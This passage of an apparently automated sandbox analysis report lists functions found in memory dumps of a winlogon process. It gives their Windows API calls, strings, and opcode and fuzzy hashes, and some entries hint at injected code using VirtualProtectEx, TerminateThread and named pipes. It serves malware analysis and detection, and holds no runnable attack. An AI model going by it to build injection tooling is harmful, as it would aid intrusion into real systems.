FlsSetValue.KERNEL32(?,?,?,000001F385BCD6B5,?,?,?,?,000001F385BCD778), ref: 000001F385BCD012
FlsSetValue.KERNEL32(?,?,?,000001F385BCD6B5,?,?,?,?,000001F385BCD778), ref: 000001F385BCD023
FlsSetValue.KERNEL32(?,?,?,000001F385BCD6B5,?,?,?,?,000001F385BCD778), ref: 000001F385BCD034
SetLastError.KERNEL32 ref: 000001F385BCD04F

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 69f9c49218e6240ed086ec77233dbfdd9bb5dabba28c9c0c825df301cb3e1b49
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: A0116D342406C286FAEBA72555553FD6242ABF47F0F644774BC3647ADEDE6C8F018608

Function 000001F385BC199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001F385BC19C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001F385BC19E0
PathFindFileNameW.SHLWAPI ref: 000001F385BC19EF
lstrlenW.KERNEL32 ref: 000001F385BC19FB
StrCpyW.SHLWAPI ref: 000001F385BC1A0E
CloseHandle.KERNEL32 ref: 000001F385BC1A1C

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 6c8d3d93d8bfe3e2fe73925eee48ded896e6dd9d42efc55a8fd521349c15dbea
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 87016D31300B4282EB95DF52A4483A963A1F798BD1F984135FE6953798DF3CCA49C700

Function 000001F385BC36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F385BC36E4
GetCurrentProcess.KERNEL32 ref: 000001F385BC36F2
VirtualProtectEx.KERNEL32 ref: 000001F385BC3714
GetCurrentProcess.KERNEL32 ref: 000001F385BC3732
VirtualProtectEx.KERNEL32 ref: 000001F385BC3753
TerminateThread.KERNEL32 ref: 000001F385BC3762

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 7d372f96bd39070a0a19211413c30f0155ca6cd9137a14114fdefad3a2692b6c
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 4001A134201B0282EFA69F51E8087A563A0BBA4BE1F440635ED69073D8EF3CC6048704

Function 000001F385BC8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F385BC9013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F385BC90A8
RtlUnwindEx.NTDLL ref: 000001F385BC90F7

Strings

f, xrefs: 000001F385BC9026
csm, xrefs: 000001F385BC908E

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 287f6c13025e1d40a38e87b4e27fb4647a666ef3d6ef84ad5c099290c8d91569
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 73518232201602DAF7968B15D449BA93756F3A4BE8F618234FE264778CDB39EE41C708

Function 000001F385BC1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001F385BC1A60
StrCmpNIW.SHLWAPI ref: 000001F385BC1A7A
lstrlenW.KERNEL32 ref: 000001F385BC1A89
StrCpyW.SHLWAPI ref: 000001F385BC1A9E

Strings

\\?\, xrefs: 000001F385BC1A6E

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: bc5ae32632339b533cef1b2197eac90a425d8e38398b469f5566d1ddc85980dc
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: E4F0363230464292E7A18F15E8847A96760F7987E8FD44130FE594759CDA2CC74DCB04

Function 000001F385BCBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001F385BCBCBD
GetProcAddress.KERNEL32 ref: 000001F385BCBCD3
FreeLibrary.KERNEL32 ref: 000001F385BCBCFA

Strings

mscoree.dll, xrefs: 000001F385BCBCB4
CorExitProcess, xrefs: 000001F385BCBCCC

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 8d4205d73ecca294230dc073d23a78a6a4ff33a72a55b65ea912a8e03c6c850f
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: CCF0627121160681EB558F24E4443FA6320FBE47F1F940329FE7A461E8DF2DC7488340

Function 000001F385BC3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001F385BC3066
StrCpyW.SHLWAPI ref: 000001F385BC3076
StrCatW.SHLWAPI ref: 000001F385BC3082
PathCombineW.SHLWAPI ref: 000001F385BC3090

Strings

\\.\pipe\, xrefs: 000001F385BC305C

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 08e43dfad6d8615d8f85c57d7ba3ea724eca04319fcf64bf6a9629f1effc9644
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 48F08231704B8682EA818F17B9142B96260AB98FF0F884230FE6607B9CDF3CC6458700

Function 000001F385BC5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F385BC5726

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction ID: 7c2467fcd7596e74ea46f889efb0ad8b7ca6e31623e23edea5d0d94c658ca5ce
Opcode Fuzzy Hash: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction Fuzzy Hash: 4C61B936519B41C6EAA1CB15E44436A77A0F3E87E5F501236FA9D47BE8DB7CCA408F04

Function 000001F385BA3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F385BA352C
_set_statfp.LIBCMT ref: 000001F385BA3547
_set_statfp.LIBCMT ref: 000001F385BA3563
_set_statfp.LIBCMT ref: 000001F385BA359F

Memory Dump Source

Source File: 0000002B.00000002.2651276901.000001F385B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385B90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385b90000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 794d2f98abea2925b2b8cede53a2b7d91a83073eef87499136fa15848af996f8
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 01119E32A12B1311FAE7152CE8563F919C06BF83F5F788738BD76062EE9A2CCA415600

Function 000001F385BD4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001F385BD412C
_set_statfp.LIBCMT ref: 000001F385BD4147
_set_statfp.LIBCMT ref: 000001F385BD4163
_set_statfp.LIBCMT ref: 000001F385BD419F

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: b511d5ba25b715f1dcfcca7696c36e76f84fb4604d3e81650d778d100f02beee
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: DD11513AA10E9331FAEA1768D4563F519516BF83F8F280734BD76066DE8AACCA454600

Function 000001F385B9F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001F385B9F124

Strings

Wednesday, xrefs: 000001F385B9F1ED
Tuesday, xrefs: 000001F385B9F0F4
or copy constructor iterator', xrefs: 000001F385B9F25A, 000001F385B9F275

Memory Dump Source

Source File: 0000002B.00000002.2651276901.000001F385B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385B90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385b90000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 798ca2d8f1bf394026dd0354072af2df215992b6fdb75384f3c3813a05e348a0
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 40618F3260421242FAEB8A64D4403B9BAA0A7E57F0F604635FD3A137ECEB3CCA418640

Function 000001F385BCAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001F385BCAA68
_CallSETranslator.LIBVCRUNTIME ref: 000001F385BCAAB7

Strings

RCC, xrefs: 000001F385BCAA85
MOC, xrefs: 000001F385BCAA7C

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 7d0dfc8a691413f4dde3a8332c91cc347d6227e1e938a84b6f8a2983f74cfa34
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: BE616A32600B858AEB51DF65D4403ED77A1F3A4BE8F044225EF9917B98DB38DA95C704

Function 000001F385B9A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F385B9A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F385B9A288

Strings

csm, xrefs: 000001F385B9A1C2
csm, xrefs: 000001F385B9A2DA

Memory Dump Source

Source File: 0000002B.00000002.2651276901.000001F385B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385B90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385b90000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 634da43ffc88561904e9c766b05514423cef216fd51c5e43a622db91c593a43a
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: BB516132104382CAEBA68B1595443B977A0F3A5BE4F185325FF6947BD9EB3CD691C700

Function 000001F385BCAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F385BCADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F385BCAE88

Strings

csm, xrefs: 000001F385BCAEDA
csm, xrefs: 000001F385BCADC2

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: cdeba406e24003a3a0b1675a6f9d7472096d73f7c1ad2f2c69448a9297637e66
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: F0518F72100682CAEBA58F5594843A977A0F3A5BE5F144335FE6987BD9CB3CDE50C708

Function 000001F385B98405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F385B98413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F385B984A8

Strings

f, xrefs: 000001F385B98426
csm, xrefs: 000001F385B9848E

Memory Dump Source

Source File: 0000002B.00000002.2651276901.000001F385B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385B90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385b90000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: e304355abc066f96e17f3cd7cdfa1338fafb4ef0b8800f9706e494f0d0c637c8
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: E2519F326016028BDB96CB25E454BA93795F3A4BE8F508234FE26477CCFB38CA458704

Function 000001F385B983E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F385B98413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F385B984A8

Strings

f, xrefs: 000001F385B98426
csm, xrefs: 000001F385B9848E

Memory Dump Source

Source File: 0000002B.00000002.2651276901.000001F385B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385B90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385b90000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 1f122b48d9d6f5b20c7e8e545056d8ecb40dcf6bafc27ce726ad1e6dc5d3d349
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: D131907220164296E796DF11E8447A97764F7A0BE8F158234FE6A477CCEB3CCA40C704

Function 000001F385BD2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001F385BD20D7
WriteFile.KERNEL32 ref: 000001F385BD239F
WriteFile.KERNEL32 ref: 000001F385BD23E5
GetLastError.KERNEL32 ref: 000001F385BD249B

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 48194c91b75594280cb710552ccab9c4b6c9696179c88a7cdcdc75127d28105e
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 9ED1AF32714A8189EB52CFA5D4402EC7BB1F7A47E8F148225EE6997BDDDA3CC606C740

Function 000001F385BC14A4 Relevance: 6.3, APIs: 5, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F385BC14C5
HeapFree.KERNEL32 ref: 000001F385BC14D4
GetProcessHeap.KERNEL32 ref: 000001F385BC14E1
HeapFree.KERNEL32 ref: 000001F385BC14F0
GetProcessHeap.KERNEL32 ref: 000001F385BC1500

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction ID: d3793489244d99d11474eaedf2291eb90a0db23d9d29e5d8d83fa4e484c9e938
Opcode Fuzzy Hash: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction Fuzzy Hash: D701CC32600A92D6EB85DF62E8041AA63A0FBA9FD1F545130FE6903759DE38C610C740

Function 000001F385BD2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001F385BD2A9C
GetLastError.KERNEL32 ref: 000001F385BD2B27

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 219b268d2508d01396f34f1c17f2a067e3db346685af521888a3d4dc08d7a7f4
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 1F91D73370069685FF969FA584403FDABA0F7A4BE8F544225EE1A576CCDA7CC542C700

Function 000001F385BC253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F385BC2620
StrCpyW.SHLWAPI ref: 000001F385BC2639

Strings

\\.\pipe\, xrefs: 000001F385BC262B

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 60e99ca984fe45c8205c3015f8f1e509e2abf101529f829098595df2463e0b0f
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 6D71B13620078286EAA69F6598843FAA694F3E57E4F440236FD6953BCDDA3CCF458704

Function 000001F385B99E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001F385B99EB7

Strings

MOC, xrefs: 000001F385B99E7C
RCC, xrefs: 000001F385B99E85

Memory Dump Source

Source File: 0000002B.00000002.2651276901.000001F385B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385B90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385b90000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 639785ff94cdbec34cdd26092e8e57918619dd365a49ed2093a17fdf676396e3
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 77617C33A00B458AEBA2DF65D4403ED7BA1F394BE8F144225EF6917B98EB38D655C700

Function 000001F385BC2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F385BC2416
StrCpyW.SHLWAPI ref: 000001F385BC242D

Strings

\\.\pipe\, xrefs: 000001F385BC2421

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 72e056ba0e2456e91081c2497b6582406c8d111315e180d16f48c373d1f09fb1
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 8C51D63220438382EEA69B69A1643FA9651F3E57E0F440235FEA903BCDCA3DCF048744

Function 000001F385BD26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001F385BD2807
GetLastError.KERNEL32 ref: 000001F385BD2829

Strings

U, xrefs: 000001F385BD27B3

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 7545201565cffb4dd9c12d3e017e1e4cb621b9b8cbb6a5680d551cdf74df0a63
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: F241BF32214A8182DBA28F65E8443F9A7A0F7A87E4F904231EE5D87788EB7CC641C740

Function 000001F385BC94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001F385BC94F0
RaiseException.KERNEL32 ref: 000001F385BC9531

Strings

csm, xrefs: 000001F385BC951E

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 7feea5767932b83702a4603a4908a0b46db3a5e551aabef06720e3f0f0bcf91d
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: DB113036214B4182EB618F15F4403A977E5F798BA4F584225EE9C07798DF3CCA51C704

Function 000001F385B97356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F385B9737C

Strings

riptor at (, xrefs: 000001F385B97364
ierarchy Descriptor', xrefs: 000001F385B97381

Memory Dump Source

Source File: 0000002B.00000002.2651276901.000001F385B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385B90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385b90000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 27eb8d332144c49fc42977003a1dd22787e74c1ec773337d6b22f03e146d9e6f
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 2DE08671641B4990DF038F21E8402E837A1DBA8BB4F589232AD6C0A395FB3CD3E9C701

Function 000001F385B973B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F385B973D8

Strings

riptor at (, xrefs: 000001F385B973C0
Locator', xrefs: 000001F385B973DD

Memory Dump Source

Source File: 0000002B.00000002.2651276901.000001F385B90000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385B90000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385b90000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 9cfed72d77cccaa36cf3e22940643e972630171375edc54bb3644584a963761a
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: E6E08671601B4990DF038F21E4401E87761E7A8BA4F989232ED5C0A395FB3CD3E5C300

Function 000001F385BC1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F385BC1C2D
HeapAlloc.KERNEL32 ref: 000001F385BC1C3B
GetProcessHeap.KERNEL32 ref: 000001F385BC1C77
HeapFree.KERNEL32 ref: 000001F385BC1C85

Part of subcall function 000001F385BC152C: StrCmpIW.SHLWAPI ref: 000001F385BC155D

